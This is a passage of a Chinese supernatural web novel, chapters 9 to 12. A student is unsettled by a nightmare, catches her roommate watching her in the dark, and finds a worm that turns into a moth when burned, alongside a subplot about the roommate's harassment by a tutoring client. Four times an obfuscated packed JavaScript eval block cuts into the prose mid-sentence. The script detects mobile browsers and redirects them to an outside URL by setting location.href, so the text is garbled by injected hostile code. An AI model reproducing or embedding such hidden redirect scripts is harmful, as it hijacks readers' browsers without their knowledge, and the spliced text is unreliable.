曲通幽听着小张那极具催眠效果的声音,思绪不由得又飘到了其他地方。
从起床就兵荒马乱的神经稍微舒缓下来,她才又想起了那个梦。
作为一个想象力丰富的大学生,曲通幽平时也没少做带有离奇剧情的梦。但昨天晚上那个梦却完全不一样,不但过于惊悚,也太逼真了。
哪怕是经历了残酷的早八现实殴打,曲通幽现在也依然能回忆起梦里的每一个细节。皱缩的人皮被风吹动时窸窣的声响、肉虫蠕动时身体的褶皱,还有飞蛾擦过手背让人起鸡皮疙瘩的触感,都真切得好像是她亲身经历过一样。
曲通幽听了一会儿课,还是没忍住拿出手机,搜索了一下“师寂明”这个名字。
符合的结果很少,偶尔看到几个类似的名字点进去,也都是男频种马小说的龙傲天主角配角,而且没有一个职业是医生的。
她又搜了“双凤山”“吕一钧”等几个名字,这次倒是出现了更多的选项,只是都跟梦里的飞蛾军阀扯不上关系。
看来那真的只是一个梦了。
曲通幽放下心来,决定未来一段时间少看点灵异志怪类的小说和短视频了。
两节人类学上完,教室里唯一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313052|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还能站着走出去的可能只有小张了。秦琴打了个哈欠,朝曲通幽招呼道:“幽幽,北一自习去不?”
她们宿舍四个人,除了家里早就安排好工作的李乐瑶以外,其他三个都是决定了要考研的。还在北一通宵自习室占了三个长期座位。
曲通幽摇了摇头:“不用了,我有点没睡好,想回去补个觉。”
“对哦,忘了问你了,今天早上你怎么回事?往常也没见过你叫不醒啊。”
曲通幽揉了揉眼睛:“做了个噩梦,被魇住了。”
“你脸色看着确实不太好。那你赶快回去休息吧,中午我给你带饭回去!”
她谢过室友,就拖着沉重的步子往宿舍走去。
作为一个全校师生加起来超过五万人的综合类大学,A大从凌晨五点到半夜十一点校园里都挤满了人。这会儿正是上午后两节课开始之前,曲通幽一路逆行回宿舍,不知道和多少人擦肩而过。
她本来是困得上下眼皮打架的,可突然间,就好像有一根冰针猛地刺入了她的后脖颈一样,曲通幽打了个激灵,一瞬间清醒了过来。
有人在盯着她!
她猛地回过头,周围人来来往往,快乐、倦怠、放松……每个人好像都在忙着去上课去打球或者去吃饭,没有谁注意到人群中不起眼的她。
但曲通幽却仍然觉得有人在看着她。那目光冰冷带着审视,让她感觉如芒在背。
可是,她就是个普通的大学生,怎么会有这种目光都能给人带来压力的大佬特意关注她?
不知道为什么,曲通幽又想到了昨晚那个怪异的梦。好像从她做了那个梦开始,一切都变得不太对劲了……
曲通幽不敢再想,她加快了脚步,埋着头一口气冲回了宿舍。
刚刚跑进宿舍楼,身后的那道视线就突然消失了。
就跟它突然出现一样,背后的针刺感消失得也毫无征兆,曲通幽站在宿舍楼门厅茫然回头,忍不住怀疑刚才只是自己神经质发作了。
她愣了好一会儿,才一脸自我怀疑地上了楼。
A大是百年名校,女生宿舍建得也非常有年代感。六层的宿舍楼没有电梯,拐了好几个弯的长走廊只有两头有窗户,采光也很差。最让人诟病的是,每层的楼梯平台墙上还都挂着一面镜子,上面写着些“厚德载物”之类的字眼,不少晚上回来晚的女生都吐槽过看着镜子心里发毛。
只是曲通幽已经认定了自己神经过敏,上楼的时候便有意识强迫自己不去看镜子以免疑神疑鬼。她顺利来到四楼,穿过昏暗的走廊来到412房间,开门进了屋。
她们一大早兵荒马乱赶早八,连窗帘都忘了拉开。屋子里一片昏暗。曲通幽想要开窗透透气,冷不防一抬头,忽然就看到了没有拉严实的床帘缝隙里,一只瞪得滚圆的眼珠子正直勾勾盯着她。
9. 009
曲通幽倒抽了一口凉气,右手下意识抄起自己桌子下面的哑铃高高举起,同时一个箭步闪到门边按亮了灯。
等大灯亮起来,曲通幽看清那只眼睛的样子,不由得一阵无语。
那眼珠子虽然溜圆,但却没有半点神采,光稍微亮点就能看出来是个玻璃珠子,嵌在毛茸茸的熊脸上,半张脸挤在金属床栏上变了形。
“……幽幽?”
床帐后面传来熟悉的声音,一只手拉开帘子,露出了一张睡眼惺忪的脸:“你怎么回来了?哦,已经是这个点了啊,诶,你们没去自习吗?”
曲通幽也松了口气:“君茹是你啊,怎么在宿舍也不开灯?你这个熊露半个头出来吓死我了。”
方君茹歉意地把半人大小的毛绒大熊往床上提了下,自己正好窝到大熊的怀抱里坐起身来:“我有点不太舒服,想着睡一会儿,就没开灯。”
她拍了拍大熊变形的脸,让它重新变得鼓囊囊的,看着非常珍惜的样子。
这只大熊是方君茹大一过生日的时候,宿舍里一起送给她的生日礼物。曲通幽记得黑瘦的小姑娘当时直接激动得落下泪来。她说自己长这么大,还是第一次收到别人的生日礼物。而之后的两年多她一直把那么大一个熊放在床上,让人看着就觉得心口涨涨的。
“我也是昨天没睡好,想回来补个觉。”曲通幽解释着,她看着方君茹的脸色,忍不住皱了皱眉:“你没事吧?看着脸色好难看,是不是那个兔崽子又为难你了?”
方君茹咳了两声:“今天倒没有。可能是我路上吹了点冷风,有点低烧。正好甲方他爸今天出差回来了,甲方妈妈就好心地给我放了个假让我提前回来了。也不扣工资。”
“真不用我送你去医院看看?”
方君茹连忙摆手:“没事儿,才三十七度五。我路上也买了感冒药,吃了药发发汗就好了。”
曲通幽看了眼桌上拆开的几盒药,也没再多问,换了睡衣就上床睡觉去了。
这一觉倒是没做噩梦,但睡得总是不太踏实。她能感觉到中午有人回来过,她们的声音放得很轻,低声交谈了几句,收拾了一下东西就又出去了。宿舍里又变得安静,只能听到从窗外传来的一点点篮球场上的喧闹声。
也不知道过了多久,曲通幽猛地睁开了眼睛。
外面还是一片黑,不知道是下午还是晚上了。她摸了摸枕头边,才发现自己把手机落在了下面的桌子上。于是便准备下去拿手机。
就在一只手刚刚掀开床帘的一瞬间,她突然从缝隙里看到了什么。
四人间的宿舍,每个位置都是标准的上床下桌,她的床位对面就是方君茹的床,现在那床帘还是拉住的,只在中间留着一条缝,缝隙里露出了一只眼睛,正直勾勾盯着她这边。
……是方君茹睡迷糊又把毛绒熊脸怼在床帘上了?
几乎完全关闭的床帐后面,曲通幽把呼吸放得又轻又长,就好像她仍然在沉睡中一样,只是一双眼睛却透过缝隙看向对面,更加仔细地分辨着阴影中的每一寸颜色。
不对,那不是玩具熊。
那是人的眼睛。
眼黑部分比正常人稍微大一点,灵活、清醒,只是其中充满了阴鸷的杀意,还带着浓浓的恐惧和怀疑,似乎床帘外是什么人间炼狱一样,只要她迈出去一步就会被怪物撕碎。
那是方君茹的眼睛。她没有睡觉,而是在暗中偷偷看着她,也不知道在她睡着的时候这么看了多久。
黑暗中,曲通幽的汗毛一根根竖了起来,她想要大声喊出声,问问方君茹到底想要干什么,但直觉却告诉她最好不要在这时候出声,更不要让对方知道她已经醒了,而且已经发现了她的异常。以免惊动了更加可怕的东西……
她假装着睡觉中翻了个身,右手悄悄摸到了枕头旁边,握住了尾端带着破窗锤的金属手电筒,同时绷紧了肌肉。
就在这时,外面突然传来了钥匙插进锁孔的声音。
啪的一声,大灯亮起来,把刚才紧绷诡谲的气氛一下子打散了。
灯只亮了一瞬,瞬间就又被关上了。宿舍里重归黑暗,只是门口传来了女生压低的对话声。
“嘘,小声点,我看她们好像还在睡觉。”
“这都睡了多久了啊?要不咱们把她们叫醒送去医院看看吧?”
“等晚上回来看看,要还是这样就真得送去医院了。小琴你等我一会儿,我拿几本书就走。”
眼见着两个舍友马上又要离开,曲通幽赶快装出了刚被吵醒的样子,压着声音喊道:“乐瑶?你们回来了啊?现在几点了?”
说着,她掀开床帘,自然地跳下了床,拿起桌上的手机看了一眼——傍晚六点半。
正是宿舍楼最热闹的时候,可她在刚才的几分钟黑暗中却怪异地没听到任何声音。
李乐瑶连忙低声说:“我们吵醒你了?不好意思,我就是回来拿几本书,还要去自习室的。”
“我和你们一起去吧。等我换个衣服。”
不等舍友回答,曲通幽已经快速收起了东西,她的手心里还残留着刚才的冷汗,迫不及待想要离开这个太过怪异的宿舍。
可就在她开门之前,方君茹的床上也传来了动静,她带着倦意喊道:“是乐瑶吗?你们回来了啊……”
见两个人都醒了,走廊上的秦琴也走进来开了灯,关切地问道:“嗯,我们刚吃完饭,给你带了二食堂的包子。你感觉好点了没?”
“哇,太谢谢了!我觉得好多了,就是还有点没力气,但是已经不发烧了。”
“没事就好,今天人类学的笔记我放自习室了,你要想抄晚上我给你带回来。”
“小琴你太好了,我简直……”
三个舍友自然地交流着,只有曲通幽一声不吭站在旁边。她假装背对着他们收拾桌上的东西,实际上悄悄回头,用隐蔽的目光打量着刚下了床的方君茹。
她的脸色有点发白,只有嘴唇是干燥的殷红,一看就是还生着病的样子。但她跟两个舍友说说笑笑的样子又跟平时没什么区别,看起来完全不像会在床帘后悄悄偷窥别人的样子。
“幽幽,你现在感觉怎么样?”秦琴忽然把话题转向了她,一脸关心地问道,“我们中午回来的时候,你和君茹都正在睡觉,你不会也发烧了吧?”
“我没生病,就是昨天晚上没休息好。”曲通幽自然地笑着说,还打了个哈欠,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313053|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
做了个噩梦,梦里一直有人在偷窥我。”
一边说着,她一边不动声色地悄悄打量着方君茹。可她的表现非常自然,好像是完全没意识到自己是在影射什么。
“我早说了让你别看那些恐怖小说的。那天跟着你看了几眼吓死我了。”李乐瑶心有余悸地说,“行了,咱们赶快去自习吧,要不然今天晚上又废了。”
*
曲通幽留心观察了方君茹几天,只是都没再出现过那天被盯着的情况。反倒是有一次她看的时间太长被方君茹发现了,还奇怪地问她是不是自己脸上有什么东西。
曲通幽暗笑自己神经过敏,便把这事抛在了脑后,转而去烦恼起自己的正事了。
她现在读的民俗学专业是个冷门小专业,只是当年她为了能上A大而调剂的备胎选择,专业里百分之八十的人情况也都和她差不多。所以,除了对民俗学真心热爱的人,其他大学生都是选择跨专业考研的。
曲通幽是个没什么主见的人,她一开始只是随大流跟着其他人选择跨考汉语言文学,可等她意识到汉语言文学的终点是考公之后,原本就不太坚定的学习信念就在平均一千比一的考公录取率面前迅速退却了。
可要让她真的在短时间内选出一个最适合自己的专业,曲通幽也想不出什么来。于是这事就撂了下来,她只能一边抱着车到山前必有路的侥幸念头,每天背着abandon拖延时间。
周四晚上,曲通幽一边琢磨着法学和经管两个专业的研究生哪一个出来更加死路一条,一边走进宿舍,一抬眼却发现气氛好像有点不太对。
方君茹坐在椅子上,眼睛红红的像是刚哭过,另外两个舍友则是围在她身边小声安慰着。
“没事儿,大不了咱们就不去嘛,一小时三百,还不够我吃顿饭的,咱不受那委屈!”
“不光不去了,咱还要告他!什么畜生玩意儿,君茹你别担心,我有个学姐现在是律师的,我现在就帮你咨询一下!”
“不用了……我其实当时就没忍住扇了他两巴掌……就这样吧,以后我不去了,也别闹大了,他家里有点关系,我还怕他要找我验伤呢……”
“怎么了这是?”曲通幽放下书问道。
“君茹遇到变态猥琐男了。”秦琴狰狞着一张脸说道,“她之前不是说她做家教的那家当爹的回来了吗?她今天去做家教,然后……那男的就趁他老婆孩子不在,把君茹堵在房间里……”
“什么?!君茹你没事吧?!”曲通幽吓了一跳,连忙走过来仔细检查方君茹的情况。
女生红着眼眶摇头:“没事。他没来得及对我做什么,就是伸手想要摸我……我当时吓了一跳,直接就扇了他两巴掌,趁他没注意跑了。就是想起来还恶心……”
“扇得好!最好下次在大街上找个机会骑车撞他个半身不遂。扇耳光还是便宜他了。”曲通幽作出危险发言,“别担心,你这绝对算是自卫了,他不敢再找你麻烦的。”
“嗯……谢谢你们。”方君茹抬头冲三人露出一个真心的笑,“对了,幽幽你最近不是在选专业吗?我跟学姐要了点资料,微信发你了,你有兴趣可以看看。”
“好嘞!太谢谢了!”
10. 010
曲通幽这晚做的是个美梦。
她梦到考研题目难度提高一百倍,只有她的考卷不变,于是她凭借自己abandon的英语水平和考前突击背笔记的专业水平拿到了全专业分数制霸,十几个院士大佬哭着喊着要收她当学生,从此再也不用烦恼选哪个专业……
正当她在梦里为了选哪个院士当导师挑三拣四的时候,突然听到有人在喊她的名字。
“幽幽,幽幽,快醒醒……”
曲通幽睁开眼睛,看着昏暗的床帐顶,再听着外面喊着自己的名字的熟悉声音,恍惚中感觉像是昨日重现。
她探头下去,看了看还黑着的天色,就问站在下面的秦琴:“又是早八?”
她是在控诉舍友天还不亮就吵醒她,可秦琴却好像完全没get到她的意思,看她醒了,便有些急切地上到了一半梯子处,头很不礼貌地伸到了帘子里,急促而轻声地说道:“幽幽,我想上厕所,你陪我一起去好不好?”
曲通幽:?
秦琴,412宿舍唯一指定能拿灭火器只身闯火场的铁T,一头短发利落又飒爽,性格更是勇敢坚毅嫉恶如仇。大一宿舍四个人一起关灯看恐怖片的时候,其他三个人都抱在一起拜佛了,秦琴还能淡定地一边嗦粉一边点评里面每个鬼的妆容。
现在这么个铁T却可怜巴巴让她陪她一起上厕所?这合理吗?
曲通幽此刻已经完全清醒了过来,她看到黑暗中秦琴的脸一片惨白,额头上还有细密的冷汗。甚至连攀着铁梯子的手指都因为紧张而指节发白。
曲通幽好像突然意识到了什么,她抓过枕边的手机,一言不发地跟着秦琴悄无声息出了宿舍门。
A大女生宿舍让人诟病的第二点就是宿舍里没有单独的卫生间,每层一个大的公共卫生间,让每到晚间洗漱的时候走廊里就人声鼎沸。
但现在是半夜两点钟,卫生间里已经没人了,而且,秦琴显然也并不是真的想要上厕所。
她拉着曲通幽来到楼梯口处。这里的灯光更加明亮些,也照得她的脸色更加惨白惊恐。
“幽幽,我不是想上厕所。其实是……刚才发生了一件事,我不敢在宿舍里说,才想着把你叫出来。”她抿了抿嘴唇,急促地说道,“我发现……君茹好像有些不太对。”
曲通幽的心脏好像被一根线猛地拽紧了。那些被她淡忘的事情猛然又重回脑海,她这才发现自己还记得几天前那件诡异事情的每一个细节。
“君茹她怎么了?”
“呼……就我刚才不是一直在睡觉吗?睡得迷迷糊糊的时候不知道怎么回事突然睁开了眼,然后我就看到我床帘外面有个人影。”
“床帘外面?可咱们的床有两米多高!”
“对,那人应该是站在梯子上的。所以我当时一下子就吓清醒了,我怕是外面进了小偷,我手边没武器怕激怒了他,然后就继续假装睡觉躺着看那人影。看着看着我就发现……可能不是小偷,那影子……那影子是长头发,穿着睡裙的……”
曲通幽打断了她的话:“穿着睡裙的?我记得你的床帘应该挺厚的吧?怎么能连这个都看清楚?”
秦琴的脸色更加崩溃:“因为她在靠近我啊!一开始我只能看到一个影影绰绰的影子,后来她就越来越近,就跟我刚才叫你一样把身子慢慢探过来,那张脸还有上半身慢慢就贴到了我的床帘上,我都能看到她五官的轮廓了!”
曲通幽想象了一下那个画面,顿时觉得毛骨悚然:“你为什么不喊出声啊?”
“我这不是怕她是在梦游吗!君茹还站在梯子上呢,要是我吵醒了她直接摔下去怎么办?”秦琴也很有自己的理由。
“你怎么知道她是在梦游?”
“因为我听到她说梦话了。跟平时完全不一样。”秦琴肯定地说道,还绘声绘色地模仿着:“她声音很小,她说,‘我知道你在看着我……我不怕你……我要杀了你……我会一直盯着你,杀了你……’你懂吗?!就跟蛇吐信子一样嘶嘶的,比电影里蛇佬腔恐怖一百倍!”
“……我完全懂了。”曲通幽搓了搓胳膊上的鸡皮疙瘩。秦琴学得太像了,她站在灯光里都觉得脖子后面出了一层白毛汗。
“君茹以前也没有梦游的毛病啊,你说她是不是白天被那个老畜牲吓到了?”秦琴试图分析。
“……我觉得可能不是。”曲通幽说。
“为什么?”
“因为几天前,就是她为了家教请假的那一天,我也见到过类似的情况。”曲通幽终于说出了那天的事情。
秦琴睁大眼睛,惊愕道:“你都没告诉我们!”
“我以为是自己看错了啊!那次没有你这么夸张。就是那天我不是也在宿舍睡觉吗?醒来的时候看了一眼外面,感觉对面君茹好像在偷偷看我……但当时我不能确定。现在听你这么一说,可能不是我的错觉。”
秦琴的表情有点愣愣的。让曲通幽觉得如果她有抽烟的习惯的话,此刻一定特别想要点根烟思考一下。
“咱们要告诉她吗?”秦琴凝重思考。
“我觉得得说。不管是不是梦游,这种情况得尽早解决。别忘了,乐瑶还不知道这事呢。她胆子小,要是哪天被吓到怎么办?”
“你说得对,明早我就告诉她。”秦琴果断道。
曲通幽打了个哈欠:“行,那咱们赶快回去睡觉吧。明天又是早八,我真服了……”
话说到一半,两人的动作突然顿住,就像是同时遭
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313054|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
遇了冰冻魔法一样。
她们看到412宿舍的门口有一个人影,长发,睡裙,瘦骨伶仃,在昏暗的影子里面朝着这边,不知道在那里站了多久。
她们两个站在全走廊最亮的灯光下,412的门口却是一片昏暗,她们看不清那张长发下的脸,但却有种强烈的直觉,那就是方君茹,也许在她们出门的时候她就已经跟出来了。
午夜两点,女生宿舍走廊里却是无声而紧绷的对峙。不知道过了多久,门口的人才缓慢转过身,伸手推开了412的门,缓步走了进去。
“……要不我们跑吧?”秦琴咽了咽唾沫,“总觉得这时候再回去睡觉,是恐怖片主角才会有的作死行为啊。”
“乐瑶还在里面。”曲通幽提醒道。
“哦对,我都吓得忘了……要不我们把乐瑶叫上一起跑?”
“先进去看看再说。”
她们甚至去提了个走廊里的干粉灭火器过来,两人满脸凝重地走进了宿舍。房间里只有均匀的呼吸声,秦琴在下面望风,曲通幽动作敏捷地爬到了梯子上,学着刚才秦琴的样子小声喊着:“乐瑶,乐瑶醒一醒。”
没有回应。曲通幽一咬牙,也不顾有可能把李乐瑶吓到,直接伸手进去想要推醒她。
可手伸到床帐里面,曲通幽的脸色就瞬间变了。
秦琴正在死死盯着方君茹的床,忽然就见曲通幽两下从梯子上跳下来,后面却没跟着李乐瑶。她一张脸严肃得吓人,几乎是用气声急促说道:“你换个厚衣服,拿着手机,咱们马上走!”
“啊?什么情况,乐瑶呢?”
“她不在床上!被子都是冰凉的,这屋里一直就只有我们三个人!”
是三个“人”,还是两个人和另外一个不知道是什么的东西?
谁都不敢细想。曲通幽和秦琴像是逃难一样一阵风跑到了一楼,等看到门上的锁才想起来女生宿舍有门禁出不去。
“不出去也挺好。”曲通幽看着外面的夜幕喃喃,“咱们就这么呆着吧。觉可以不睡,小命还是要留着退休的!”
“行啊。”秦琴随遇而安地在一楼登记来客的椅子上坐下来,掏出手机看了一眼,忽然大声骂了一句。
“又怎么了?”曲通幽心力交瘁地问。
“乐瑶两个多小时前给我发了个消息,说她闺蜜失恋喝多了她出去捞人了,让咱们别担心。”秦琴捂脸,“咱们这是虚惊一场啊。”
曲通幽:“……”
曲通幽:“也不算虚惊,反正我是不想回去了。你想睡可以趴会儿,我背几个英语单词。”
说着她就拿出了手机,接着上次的进度开始背了起来。
“aboard,aboard……”
11. 011
最近的女生宿舍7号楼流传着一个真实的校园怪谈。
据说正在准备考研的学生才九月份就疯了,凌晨三点睡不着觉在一楼门厅背单词,背了三个小时还停留在ache,其勤奋程度和低效率的反差简直恐怖如斯。
怪谈当事人曲通幽和秦琴面无表情路过八卦的人群,回到宿舍后才松了口气。
“从某种程度上说,八卦也没错,我们楼里确实经历了怪谈。”曲通幽点评道。
“你清醒点。现实中哪来那么多鬼故事。再说了,咱们也跟君茹说了,人家根本什么都不知道,肯定是梦游了。”脱离了深夜的debuff加成,秦琴的唯物主义又占领了高地,她翻着手机里的联系人名单,想要给秦琴找个免费的实习期心理医生看看梦游。
她这么斩钉截铁,搞得曲通幽也有点不确定起来。她正在犹疑不定的时候,忽然听到噗的一声闷响,抬头一看,却是方君茹床上的大熊掉了下来。
学生宿舍的床很窄,她们当时送礼物的时候也没过脑子,选的这个毛绒熊特别占地方。这些年掉下来也是家常便饭了。曲通幽没在意,走过去把熊捡了起来,习惯性拍了拍灰,就想要给方君茹放回床上去。
秦琴看着她弯下腰去捡熊,拍打的动作突然顿住,然后就好久没站起来。
“怎么了啊?”秦琴忍不住问道,“熊摔脱线了?”
说着她也走过去,等凑近了看到熊身上的东西,瞬间就露出了一副嫌恶至极的表情:“噫——这什么东西啊?哪来的虫子爬进我们宿舍了?!”
没有回答。
秦琴疑惑地看了眼曲通幽,发现舍友的脸色格外僵硬。她又看了看那大熊身上爬着的白色肉虫子。嗯,确实挺恶心的,幽幽被吓到也不奇怪。
她伸出手就准备帮柔弱舍友解决燃眉之急,垫了张纸巾准备把虫子扔出去。
谁知,她还没碰到虫子,就听到一声中气十足的大喊:“别动——”
秦琴吓得手一抖,纸巾飘落到了地上。曲通幽却没在意那张纸。她一脸严肃,翻出了自己原来做手帐的时候用过的金属镊子,快速夹起虫子扔进了一个玻璃小瓶里,然后死死拧上了盖子。
她的脑子里此刻已经是一团乱麻。秦琴或许觉得那只是从外面爬进屋里的小虫子,可她却在看到那白色肉虫的一瞬间就认出来了——那是她只在梦里才看到过的化阴虫!
虽然白色肉虫的形态自然界很多昆虫幼虫都会有,但曲通幽对几天前做的那个梦印象实在太深了。所以哪怕外形相似,她也从一些细节上断定了这白色肉虫的种类。
只是,那不应该只是一场梦吗?难道说现实中真的有梦里的那种神秘虫子?
曲通幽不能确定,但也不敢冒险。她盯着玻璃瓶里行动迟缓的虫子,回忆着梦里的那个人是怎么处理化阴虫的。
好像是用火烧……但她不确定普通的火焰行不行。不过不知道其他处理方法的情况下,姑且先试试……
她让秦琴看着瓶子,自己跑到楼下小超市买了一根火柴。拧开瓶盖,划燃了一根火柴扔进去,然后快速又把瓶子盖上。
秦琴看得都无语了:“虽然我也恶心虫子,但这是虐杀就没必要了吧?而且你这样搞就不怕玻璃瓶爆炸吗……卧槽!”
她猛地睁大了眼睛。
预料中玻璃瓶爆炸的情况并没有出现。肉虫在接触到火苗的一瞬间就开始剧烈扭动,这是生物面临死亡时的正常表现。但是,那不到两厘米长的虫子却没有立刻死去,在火焰中,它的身体开始迅速生出了一层细密的灰色绒毛,体型也在发生着剧烈变化。
不过几次呼吸的功夫,肉虫转眼间已经变成了一只扑棱蛾子。它在玻璃瓶里拼命煽动着翅膀想要飞出来。那一点火焰很快被它扇灭了,隔着一层玻璃,两个女生能清楚看到它狰狞的触角和凶狠的像是蟋蟀一样的两只锋利颚牙。如果不是玻璃太光滑,它恐怕已经咬破瓶盖爬出来了。
秦琴忍着一身鸡皮疙瘩跑到自己衣柜边,从柜子深处翻出了一个带锁的铁皮箱子。她把里面的零碎东西全倒了出来,递到曲通幽面前:“给,保险起见,先放这里面吧。”
曲通幽默默给玻璃瓶又套了个塑料盒子,然后才把飞蛾关进铁皮箱里,牢牢锁住了盖子。
“那是什么东西?”秦琴心有余悸,想着刚才自己还想要用纸巾垫着捏就一阵阵后怕。
“……不知道,回头找生物学院的教授看看。”
“妈耶,吓死我了,遇到火就直接羽化成蛾子,这东西不是飞蛾是凤凰吧?!”
……凤凰?
对了,梦里的那座山明明像是飞蛾却改名叫双凤山,说不定就是这个原因。
梦里双凤县的那老头说过,双凤县一千年前闹了灾,飞来了两只大蛾子,还吃了全县的死人。这显然是民间传说。
但是,民间传说也是建立在一部分事实的基础上夸张演变而来的。就按照梦里那个世界真的有鬼怪的情况,也许事实的部分还很多。
试想,如果双凤县真的曾经被那种大飞蛾入侵过。它们肯定不会只是吃死人。也许它们吃了很多的人,甚至也许它们本身就是灾祸的源头。当地人在扑杀飞蛾的过程中,发现飞蛾杀不死,火焰都只能帮助它们羽化,就像是凤凰涅槃一样,所以后来不知为何飞蛾变成了山,就有了双凤山的称号。
……不对,现在去推理一个梦里的虚构县城的历史毫无意义,还是要想办法解决化阴虫的问题。
“看来普通的办法杀不死这东西。”曲通幽凝重道,“这样,咱们兵分两路,你去找生物系的教授,我……我回去找大师要个平安符……”
听着她起承转封建迷信的秦琴:?
愣了一会儿,她才后知后觉想起来曲通幽确实有搞封建迷信的条件——曲通幽家就在本市住,且小区旁边紧邻着在省内都很
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313055|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有名的一座寺庙。
听说她家借着地利优势,从曲通幽她妈怀孕到曲通幽高考,大事小情都要求个平安符,这些年也不知道是真的封建迷信起了作用还是一家人生活作风人际交往良好,居然真的平平顺顺没起过任何大风波。
想到这儿,秦琴也有点不确定起来。最后决定就按照曲通幽所说的,科学咨询和封建迷信两手一起抓。
“行。我找找联系人,我记得之前加过一个生物系的学姐微信的,就是不知道生物系管不管认飞蛾……”秦琴咕哝着开始翻她那万能的朋友圈。
就在曲通幽想着什么时候回家一趟比较合适的时候,走廊里突然传来了争吵声。
“我已经报警了!律师函?律师函怎么了?这事我一点错都没有,让她告!”
“方君茹同学,你还小不懂事,这是很严肃的事情。你这样鲁莽行事完全没有考虑过这件事的影响……”
“呵,什么影响?我自己是不在乎的,至于对你个人前途的影响,是不是要排到公平正义的法律后面?”
“你!方君茹同学,我劝你……”
这声音由远及近,她们听出一个是方君茹的声音,至于另外一个,居然是个男人的声音。
在女生宿舍里有男人?曲通幽和秦琴都皱起了眉。
争吵声转眼就到了宿舍门口,方君茹气冲冲地一把推开门,看到屋里的两个舍友动作才顿了一下。她脸上硬挤出一个僵硬的笑,刚想说点什么,后面的男人就追了过来。
“我劝你最好配合一下,不然的话,学校可能就要联系你的家长……”
他说别的还好,说到叫家长,原本还算理智的方君茹顿时就炸了。
“你叫啊,我家里人什么样你是知道的,我三年前就跟他们撕了一场,把他们叫到学校门口来闹,到时候你可以赌一下我会不会心软,赌一把看看咱们谁更丢人。”方君茹冷笑道,她把门拉得更大,让她那张除了课本没摆放任何瓶瓶罐罐和装饰物的桌子展现在了走廊上探头探脑的围观群众面前。
“我除了能上大学,未来可能有个大学文凭以外什么都没了。他们可是还有宝贝耀祖和天赐呢。大不了鱼死网破!”
“你这个女的你……”
方君茹转了下身,才露出了被她挡住的男人。那人的个头不到一米七,瘦小干巴像是个小老头,只有一张脸还是年轻的。戴着一副银框眼镜,并不显得多斯文,反倒是因为穿着暗沉的黑色西装而有种小学生特意打扮成熟去参加文艺汇演的违和感。
秦琴沉着一张脸走过去,她把方君茹拉到身后,用一米七五的身高睥睨着那男人:“刘老师,这是女生宿舍,你直接这么进来不合适吧?”
来自身高压制的强大压迫感让男人条件反射瑟缩了一下,可很快他就挺起胸膛,怒道:“我在楼下做了登记的!再说了,我可是你们辅导员,关心学生的生活和心理状况是我的义务!”
12. 012
A大和其他大学不太一样,学生辅导员一直是个类似实习生的岗位,供一些本校研究生毕业却还没找到工作的学生作为积累经验过渡用。一般不会在这个岗位上工作超过三年,所以招来的辅导员整体素质都比较堪忧。
她们专业现在的辅导员叫刘志鹏,算起来也是比她们大四届的学长。虽然这位目前没比她们大几岁,可却已经一身官味,让诸如秦琴这样还比较清澈的大学生很是看不惯。
“发生什么事了?”曲通幽把方君茹拉到后面悄声问道。
因为刚看到的那虫子的原因,她没敢靠方君茹太近,但看着舍友怒发冲冠的样子,她还是关心地问了一句。
“没啥大事,我做家教的那一家人把我给告了。”方君茹双手抱胸冷笑道,“律师函给我寄到了学校,说我没有契约精神,签合同的家教时间没做满就不干了,让我赔偿违约金。”
曲通幽:???
“我没记错的话,是那家那个畜牲男的性骚扰你在先吧?你没告他,结果他们先告你了??”
这简直比真的有鬼还要魔幻啊!
“可不是吗。要不我反手直接报警了。”方君茹咬着牙说道,“现在警察来找我问话,刘彘朋就觉得影响他执教期间声誉了,跑来教我怎么跟警察好声好气说话……呵,那就闹吧,看谁能闹过谁!”
曲通幽抓住了重点:“所以,警察来了?”
“对,现在就在楼下。是个男的,他觉得进女生宿舍不太合适,就想跟我换个地方聊聊。”
“哦,那咱们就走吧。”曲通幽绕过针锋相对的两人去开门。
“欸?可是……”
“没事儿,小琴帮咱们拦着呢,而且你也说了,他辅导员的影响还比得过法律吗?”
